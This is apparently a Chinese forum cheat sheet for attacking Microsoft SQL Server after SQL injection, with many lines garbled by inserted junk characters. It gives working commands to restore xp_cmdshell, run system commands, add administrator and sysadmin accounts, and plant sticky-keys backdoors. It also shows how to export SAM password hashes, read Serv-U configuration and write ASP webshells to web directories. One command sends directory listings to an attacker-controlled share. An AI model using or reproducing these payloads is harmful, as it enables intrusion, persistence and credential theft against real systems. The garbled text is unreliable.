1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号/ i2 c ~( r7 s4 F" E
恢复方法:查询分离器连接后, t0 j$ B# i+ r c- S+ Y
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int ( c2 p' O$ W6 i7 ^ d
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 7 R8 K2 ^ ~! i7 M- {: i
然后按F5键命令执行完毕
7 Q3 m5 ?2 X( Y" V5 B- ^( W5 ~4 B% H8 z, T c* P
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。) s) c- s7 x; w# @1 F6 \" A
恢复方法:查询分离器连接后,7 B+ |4 V3 m d# a& ]' ~9 h
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"* R: r( {4 s3 U) d A
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll', F( ^3 A" Y, c1 P# ^
然后按F5键命令执行完毕
! N# ^6 O& U) k: l; G s }0 ~! ]- o( l# ^ w# }
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
- n/ T G; Y) k7 x5 p" ]& t# k$ C ]恢复方法:查询分离器连接后,* i$ R( h1 o& R+ b
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'; j4 Y' c1 ?% w
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
0 n! d, P3 \8 @% k1 `, P) p+ y% D' c然后按F5键命令执行完毕
4 G/ | V" i, C9 C. P1 E1 e+ S5 p" @6 c# \0 |* R$ X- x
4 终极方法.
" b! Z- G4 e4 d+ i1 {如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
$ B' b3 d1 K! m3 G查询分离器连接后,
! x0 X. Z# G( \& l% z) r/ T3 o2000servser系统:
8 N1 T1 K/ h( e; |' e+ z j5 T) qdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'' G# r. O; H* F7 Z9 c
- v! i3 M8 s) qdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'& d. ]. j! X: ]6 a6 _: ^
5 i5 R9 ~2 r! x f
xp或2003server系统:2 T% _! X" d* D+ f
* g; p; N( \8 R1 i2 U6 V# {declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
) W5 V4 j% O. o9 p4 O9 ~/ y2 \7 e
* h* ?5 {) r6 n6 N' Fdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'9 k9 }) j# U: u( s) V' U8 n
; S* y: q# j8 r7 |2 P; r
. J0 ?; }4 {0 ?! F/ {( P
五个SHIFT
; ]7 \7 O! a# a# r, p( Wdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';1 L& p* |7 b+ f- z& V
- S/ j/ {/ Y5 A# |% S5 {5 P
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
0 G3 Y1 y! b4 i \2 i m
- e+ G0 w( R/ Mxp_cmdshell执行命令另一种方法 ^5 y2 Q k, L3 E( c' ]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' & G2 n3 y u4 o; ?) R
9 r( ^; r1 S" M* D- X5 Q4 S
判断存储扩展是否存在' V0 G! e% ^: w+ c" C* [
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
5 K/ n% c$ O' O4 c. S返回结果为1就OK$ A( a- @2 T) d- `
) T7 |5 E+ _* q U y
- e# }+ b5 c. e- ^) S' p' H
上传xplog70.dll恢复xp_cmdshell语句:4 a4 S1 v6 G4 k6 T& U
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
! D4 Z/ e3 \) x' E" {% H6 B( D% J$ \
4 n4 J7 V- ^* Q1 y/ C否则上传xplog7.0.dll
9 C( F5 [9 q- p. ~2 w j4 R1 KExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
/ j7 t. ^5 R% w9 H g, J" K) r* r/ t8 f2 { K0 q4 ?3 R/ g! c
~) Q8 d5 @ K) R- }0 S" D; B
5 q" z* N$ p, W# J2 ?6 ^- h首先开启沙盘模式:
7 \5 ~; n! E8 k% Bexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',19 h9 K, W- a. U0 U* g3 i0 m
" D# X+ l' D8 B8 D: K; e& y然后利用jet.oledb执行系统命令5 e" Z/ k! J. u q3 h! ~( V
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
4 M& n7 e H( V9 W. M1 w" j返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
% G) E; A( K: z6 w* k8 F
4 A3 q M5 ]! \+ N% E3 y, Q p% W I! u7 I5 J# z/ {+ B: W5 _% v; n$ o
: A8 x5 C0 Z3 m5 v6 l恢复过程sp_addextendedproc 如下:
. B) S6 Y8 [$ q: D: ^: H, wcreate procedure sp_addextendedproc --- 1996/08/30 20:13 6 L6 ^) G1 E' J% @
@functname nvarchar(517),/* (owner.)name of function to call */
" G1 E( d4 T6 C. J@dllname varchar(255)/* name of DLL containing function */ 0 b6 l" Q1 Y. X
as 2 D( X" p- L }. Q
set implicit_transactions off , X& H+ f# {# f) ~9 a2 v5 M
if @@trancount > 0
- |2 q* \/ e% r M& Ebegin
2 ~9 ~) Y) `: Sraiserror(15002,-1,-1,'sp_addextendedproc') 3 `" y7 n+ E. P- x" n; p9 R
return (1) 5 \ s, T+ b8 u# `9 i6 C: L% r% r! Q
end
+ n- {8 z K" K( S' i( H: G- d7 V1 fdbcc addextendedproc( @functname, @dllname)
3 E% E6 M- z4 ~. ereturn (0) -- sp_addextendedproc - ?; x% r+ c& Y" Q
GO - d: M3 Q* ^9 |% n
; l* k& _% g0 Y& w' ?- A- t* \/ a2 s& C) s* l
& U0 E" _' ]4 e; a$ o0 T5 n导出管理员密码文件
% ~/ M7 K' h' [' Z1 }8 D( p: nsa默认可以读sam键.应该。1 i( e8 G) ?8 L) }$ ^0 W
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
2 \6 L* I. @6 _8 nnet user administrator test' W/ w9 ~; C; b: Z, s% [ [8 U
用administrator登陆.
* n8 E: x/ j/ z. H用完机器后
6 j3 y3 n G- Z! creg import c:\test.reg8 ^/ d: E: o# N( {& `0 b$ s
根本不用克隆.# [$ X G+ n$ t$ V' A7 u3 k7 C
找到对应的sid.
$ u6 D ~1 S# F$ ?6 D% l3 ~2 I& C* E* t
5 _9 d% C9 n7 \7 |# s7 Q' ] F1 \0 Y8 Q
恢复所有存储过程$ d, `+ Z2 ~0 V2 b( i5 L
use master
8 N% y8 J- }, g* uexec sp_addextendedproc xp_enumgroups,'xplog70.dll' 1 I4 V' g/ T, F5 j3 @' e8 N, k: d7 U
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
" M+ Z T* D' L8 Rexec sp_addextendedproc xp_loginconfig,'xplog70.dll' 5 s4 O7 N* E$ Z6 R/ ?/ V
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
3 F& d. d1 _& k" c6 t2 l/ Z L/ mexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' $ ?3 u7 \2 H# ~
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
' @, w" M: K; O* t- W7 Fexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
6 g. ^0 a/ I3 r' h, aexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
' l8 e7 W/ R; Y6 W& k: E0 {$ aexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
3 R: q5 E D0 S6 k* [exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
0 D/ M3 N0 {# k3 [8 s j, hexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
8 m) J! R2 G7 H, @- F4 zexec sp_addextendedproc sp_OAStop,'odsole70.dll'
5 t( d' [3 O% B" f: O4 z6 U# Z0 \exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
9 e* D" n, O! Z* }- J' R6 O* X1 Y/ Jexec sp_addextendedproc xp_regdeletekey,'xpstar.dll' * p% l9 F+ [! p1 q, s9 s0 I
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
3 w5 I b9 o' o% H2 {exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
' J% v& q) l$ P) X8 p3 r* d iexec sp_addextendedproc xp_regread,'xpstar.dll' ( [: b6 K- {- M7 |( \
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
3 i9 `) ] z( `; I, B3 qexec sp_addextendedproc xp_regwrite,'xpstar.dll' + M4 F2 q/ z: A
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
: M8 }: i3 T9 s8 O# l4 H7 N- ]
* t2 v* }+ `6 U5 f0 K建立读文件的存储过程& a* k/ k9 y5 }" i% ?& Z9 ]( t
Create proc sp_readTextFile @filename sysname3 a1 `( ?& u+ A1 b& T0 k# E8 x
as
& ]8 ~- c7 G7 o9 L' {0 w+ U1 Z5 h: g4 M* d5 V! B
begin
) L' r- h1 H: }& o0 e set nocount on
U; T( A6 c( T+ \6 e" u Create table #tempfile (line varchar(8000))
- q1 Z/ R& q1 Y+ _; l exec ('bulk insert #tempfile from "' + @filename + '"'): [2 j( {, |+ U' Z: a: B
select * from #tempfile
" f9 s& ?5 y' @( V drop table #tempfile0 J7 S4 M3 r5 r1 Q- g2 E
End* `( {4 g; k) E
( `: a/ n& W |/ s. ?% N8 vexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件- B+ G' `" X" k& r( |
查看登录用户
4 L' V. l) }2 p: A1 E6 g! nSelect * from sysxlogins+ `8 V6 L9 r% r& b7 | e, _
' j6 I# Q6 u' U' ]# q% C$ u把文件内容读取到表中
# U4 C& c( H% iBULK INSERT tmp from "c:\test.txt"+ {: H/ Z0 d( Q9 Z
dElete from 表名 清理表里的内容! J, q& n' s) o' H3 t
create table b_test(fn nvarchar(4000));建一个表,字段为fn1 V0 m+ ?- o$ o3 E. y
$ w8 p6 b4 ]$ E, T
- C9 E, n A4 }; J! ~* _加sa用户
: r, w+ ]% p" n4 Y' t5 m( q* gexec master.dbo.sp_addlogin user,pass;
: z: I5 @5 x" Y% `exec master.dbo.sp_addsrvrolemember user,sysadmin) b, H+ H. b" I# ~6 e
0 i% L, `2 T" R1 O J6 G
1 U f g+ j; E) B3 b* e8 v* e9 H$ a& G# B t% O
读文件代码
6 U( W9 h+ h9 y. Ddeclare @o int, @f int, @t int, @ret int' t6 B6 A$ [4 \
declare @line varchar(8000)- J, a S4 O3 @, _, A( z
exec sp_oacreate 'scripting.filesystemobject', @o out( V+ ^ K* S# \, d
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
+ F+ J. X. C' ?4 k! t7 Lexec @ret = sp_oamethod @f, 'readline', @line out
+ S) s) X% }2 ~. c: f( Mwhile( @ret = 0 )
8 O! ~* c: ^, Nbegin
& |! @! V* u5 m. i1 bprint @line
, v% e( H$ F& v8 Zexec @ret = sp_oamethod @f, 'readline', @line out
& d2 ~6 Y2 d2 T8 nend
8 d0 L7 z P+ j
H- }4 _2 D' f% g$ c9 u9 P) f* P- v$ ]5 y: S+ [" b
写文件代码:
7 w( N& a4 j3 y; R1 T3 fdeclare @o int, @f int, @t int, @ret int
4 D$ B$ g" M5 I& p2 p4 Sexec sp_oacreate 'scripting.filesystemobject', @o out9 a$ k6 j& g- B+ V' s
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1/ z" z% ~) t2 i- }
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》* b: n3 ?3 s, g( }6 Q
4 i _* D, D! r/ e
$ Z' }( l" r& b" ~- n添加lake2 shell- e. r) L% k* N* |) A( T
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'1 ]3 B% l0 q5 r5 |- g+ B# `+ b
sp_dropextendedproc xp_lake21 t4 r! a1 `1 r% J9 v9 E+ b) X" d
EXEC xp_lake2 'net user'4 W1 b1 `6 p1 d+ W) l$ Z, O. P' U
, ?' U) M0 t. s/ F1 }. Q; V! q- v8 X4 A7 p0 _9 p( p
得到硬盘文件信息
7 P- V, d" p7 R' q--参数说明:目录名,目录深度,是否显示文件 * O: S# }# I9 E& ~. n0 E1 @
execute master..xp_dirtree 'c:'
2 L0 s7 C; a4 l0 T. U- dexecute master..xp_dirtree 'c:',1
1 ]. A# |3 K' L$ q, N/ u( cexecute master..xp_dirtree 'c:',1,1 2 V9 H+ g6 s. |, h6 x
! u" u" g, V9 t/ L. X5 d7 R$ {9 a6 V
) T4 l$ i# n) f$ U( l读serv-u配置信息+ @- O8 n6 c: R5 D, @8 z. K3 Q: M. F
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt', H( Z: h( o2 B( o1 K; D
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
$ ~' U( |7 N4 z6 B6 Y% u' _1 @& p* b1 Q4 t! m- d5 [
通过xp_regwrite写SHIFT后门
9 T+ m0 V* F/ Y ~; ^# ^exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
0 W" t9 W( `: @ `; Q% }9 C
( j$ X, v$ ?$ a
! Y2 y2 n d, c4 ?, t9 g6 w9 Y; {' N: z* [
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
5 m' I% J( p0 z' U2 o4 _" K' s1 iexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了; g8 k/ o9 F7 {3 w; i+ w6 h
0 B+ \" q5 t( ?1 n
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'9 {/ ]0 n- _% f/ V& {2 K
, @, [- |8 W9 H; D% u0 O* T& Z. A8 v/ _7 i9 S S2 u
9 g! W6 V! O- n9 X% Q( _
sql server 2005下开启xp_cmdshell的办法
$ a; r7 q7 O3 H# F: h% w) H2 M1 y; v& A, f4 q& Q% z
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;! A! M+ N2 `& M6 Z5 h9 `7 k
6 x2 j* y( i& {* h5 Z) Z5 n
SQL2005开启'OPENROWSET'支持的方法:
7 m* a5 f6 W0 }8 ~7 V5 s
# Z1 r, Q1 k1 V% m3 `2 r% a' Hexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
9 u: G% \& N% G0 [
% K2 o" r+ n5 M8 sSQL2005开启'sp_oacreate'支持的方法:+ Y$ ]7 w8 ]3 j/ c9 _
% ^' }( a. _# Uexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;$ Q/ J6 F& E: w6 D8 a! ?
0 ^7 @# f, e3 p$ ]+ q; ^: Y7 @& X
9 x: N$ D! Z" T1 W+ s# v
, U. i# E) v" ]0 M& R) r4 t7 S0 w, L. x) _# {. C- X
3 o& u- L& b& E1 ]; T' ]
+ Z$ r& a9 p8 `; }3 ?) b4 R" r! ?# @8 G- n3 m7 f2 _
4 F% O) o6 q' s2 _
3 g+ `: ^4 O; G
' A2 ]8 \# ]' \% P0 {* ^1 p
0 X* z8 q6 `7 J* `% ]- `
( |7 |/ a" |$ w
- _2 b2 Z7 e- v* N. J1 j0 r; o5 v. l2 j7 u
% V9 W. X5 [1 @0 J
# ^# l2 Z, ~. h+ f+ R- c
% w& |% j8 b4 \7 ?
& X, r# w ?. E) p# V2 u0 `: f3 O& l+ ?% B8 x" ^
9 c/ M2 C0 G9 p1 z& A- k7 y6 |) @- F8 f$ w& Q& l2 n
7 G% z, e. U6 {+ b; X2 `5 Q. ~! a
- w4 H* T; }! |5 X/ [
! B' r6 q2 x) g' h0 l
以下方面不知道能不能成功暂且留下研究哈:8 j2 p o8 O1 \
4)
# `) g( L. ?3 x o( ~use msdb; --这儿不要是master哟+ i% ^0 Z o& F$ {3 U$ m+ A
exec sp_add_job @job_name= czy82 ;
% U K9 f8 u! y: x8 i+ R; C6 E& S( jexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
5 E) i0 m" m; D# R fexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;9 b( k% X$ [" X$ {
exec sp_start_job @job_name= czy82 ;; ~2 b& ^" L0 N" o9 j
7 P, ]$ x: W. X* a; T' Y利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以- ]% ? p- C2 b. U6 h& U
执行tsql语句了.- K6 e* l/ K" C
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
! V3 I# _! x0 n" k. N4 E第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
% y% z! H: f7 lnet start SQLSERVERAGENT1 e3 ?4 n4 o: ~8 _1 r0 p/ O& \
+ W- i" F0 F) X对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的$ o5 M) P" m) V6 @
USE msdb
" ^, ^; H8 P1 ~. qEXEC sp_add_job @job_name = GetSystemOnSQL ,
9 _- f+ a1 S+ x: b, x" I@enabled = 1,; n/ f% s9 v3 F" H- I
@description = This will give a low privileged user access to/ A. Y/ a$ B+ r
xp_cmdshell ,
1 y/ h8 J, \( _1 O0 c@delete_level = 1
7 \# {, \7 t+ J6 p* pEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
; o$ w0 [7 D/ S1 M+ c0 a: T@step_name = Exec my sql ,/ F+ H8 ~) C% t
@subsystem = TSQL ,* b ]5 i( Q, s' e8 i1 w
@command = exec master..xp_execresultset N select exec0 E& @. U/ }# A5 c1 Z" j
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master ( J& ?% M' M* M
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,2 D& k1 ~& o7 f# q6 S3 C+ g
@server_name = 你的SQL的服务器名 7 M0 n* R; b* p- l2 [
EXEC sp_start_job @job_name = GetSystemOnSQL . E6 H0 i1 c; \( c A8 V% G
: x: L( @: N9 D
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
9 F: B$ T& e8 |/ X" T# E才让我们可以以public执行xp_cmdshell
' _! ~# H, o" o7 p- [
5 L5 e% j- c# u0 m! T8 b0 a5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)8 ~. G8 T7 e; B0 r& l5 w( y: f
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
1 S/ X* ~4 Y/ ^- i8 C
( X. u+ E9 g4 O: V, n* h- y3 XUSE msdb/ l* T7 i, F9 t1 m! ]
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
/ Z! C! K1 m0 K" C@enabled = 1,1 L+ i% F/ ^. D/ W/ n/ w
@description = This will create a file called c:\sqlafc123.txt ,
7 N7 i. O. i4 u@delete_level = 16 @$ ~) h; u3 M
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
% q0 E6 r1 k% e/ t5 L; Q7 x+ p4 \' G* H@step_name = SQLAFC ,
8 g4 e$ f4 \3 a$ Y3 K& e# z( y@subsystem = TSQL ,& R) @' k' ]& z; n1 c
@command = select hello, this file was created by the SQL Agent. ,4 G) _) z% p( s7 j8 q( w" K+ s
@output_file_name = c:\sqlafc123.txt
1 P1 t+ c' w; s G$ Z7 D5 aEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,, [: C% A4 Q$ C6 r: d! U
@server_name = SERVER_NAME
9 E. \9 t3 Z2 }- c4 {EXEC sp_start_job @job_name = ArbitraryFilecreate
2 f% m! \8 ], F0 J1 `9 Y6 ~0 Y h3 h; _% y+ s8 V7 y7 t
如果subsystem选的是:tsql,在生成的文件的头部有如下内容# L( M" B g! u# o7 z8 N6 M
8 D# g7 z8 f& {9 u$ o0 U+ m
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19% X0 B! {) r0 X+ L! t6 B V
----------------------------------------------
. i X# g0 Z8 p8 }$ d5 }$ _+ S/ Qhello, this file was created by the SQL Agent.
/ Q s# ^9 B( h6 s& d. Q6 u- ~0 t5 X" q ]0 w+ g* M
(1 ?????)% ?# x" n! F. X: o
1 J- k' x. e$ M# F8 |0 w所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员. s$ K5 O% J7 Z/ P5 [' Z8 ?
命令的vbs文件到启动目录!
% `0 o3 Z v+ O3 A j) k1 q" H& B0 M; p( ~& Q
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
* i* @9 {& y; h) `! U! q. X$ y关于sp_MScopyscriptfile 看下面的例子
5 \: x! D4 g/ ]( Z4 ~2 N7 ideclare @command varchar(100) & u7 Y8 V' s: h9 g/ A
declare @scripfile varchar(200) ! d) o* d! h1 ]5 {" u, J- J7 J
set concat_null_yields_null off ' r$ ~7 O7 Y( ?1 ~0 n+ g9 I
select @command= dir c:\ > "\\attackerip\share\dir.txt"
, w& z, q/ m- e8 B$ Z8 zselect @scripfile= c:\autoexec.bat > nul" | @command | rd " 0 V: Z# |) e, k
exec sp_MScopyscriptfile @scripfile , $ a+ P5 S1 J5 k( M
6 L% u. N" d5 m: _
这两个东东都还在测试试哟
9 y% p2 c, f& m! x让MSSQL的public用户得到一个本机的web shell
2 C8 ~) K; y K/ ]. p: ~, ` ~; D1 c% m8 R" h
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,- W3 w' V, I( X7 [* N* W* u$ N
--@query= select <img src=vbscript:msgbox(now())> ) \8 ?) P7 Z. B7 ^4 }% b6 G
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> $ H! E/ K8 f) `9 W
@query= select 0 s4 n+ z2 I6 ^4 o( J
<%On Error Resume Next
# l/ R( U H8 _ X( fSet oscript = Server.createObject("wscript.SHELL") ) ?+ U: ?8 D0 E% r1 S8 d# j
Set oscriptNet = Server.createObject("wscript.NETWORK") - p: u/ p' ?+ [' W
Set oFileSys = Server.createObject("scripting.FileSystemObject") k; I8 { o" Y+ X0 X: s
szCMD = Request.Form(".CMD")
8 t! b% |2 X8 g) V% ?2 j7 H# I5 cIf (szCMD <>"")Then % X% g x* H. H0 g
szTempFile = "C:\" & oFileSys.GetTempName()
" a+ ~ [$ W# }" qCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) / Q, l+ d) ^6 U- h. ^6 L4 `
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) 3 _; r7 R; P- b0 ?4 ]+ P
End If %>
5 A: G- @$ x: s; D' i+ [<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
: s8 u1 G& }2 M1 \5 T( p2 x<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
( ^# B& e( J7 Y" c/ p* O2 r* F) J</FORM>< RE> 8 U8 C+ v( o' U/ E. Z0 | l! p
<% If (IsObject(oFile))Then
# [9 |$ x6 ]7 COn Error Resume Next 9 H2 K+ L W. P2 Z
Response.Write Server.HTMLEncode(oFile.ReadAll) 8 |; m. o' o9 }
oFile.Close
6 f1 I0 [4 J, l) M( n6 z3 e- h( yCall oFileSys.deleteFile(szTempFile, True)
# W* r, y+ ]4 G& K- p1 @End If%>
5 h8 x6 R: k; c' F$ `7 U</BODY></HTML> ! }, w/ F# s# B
|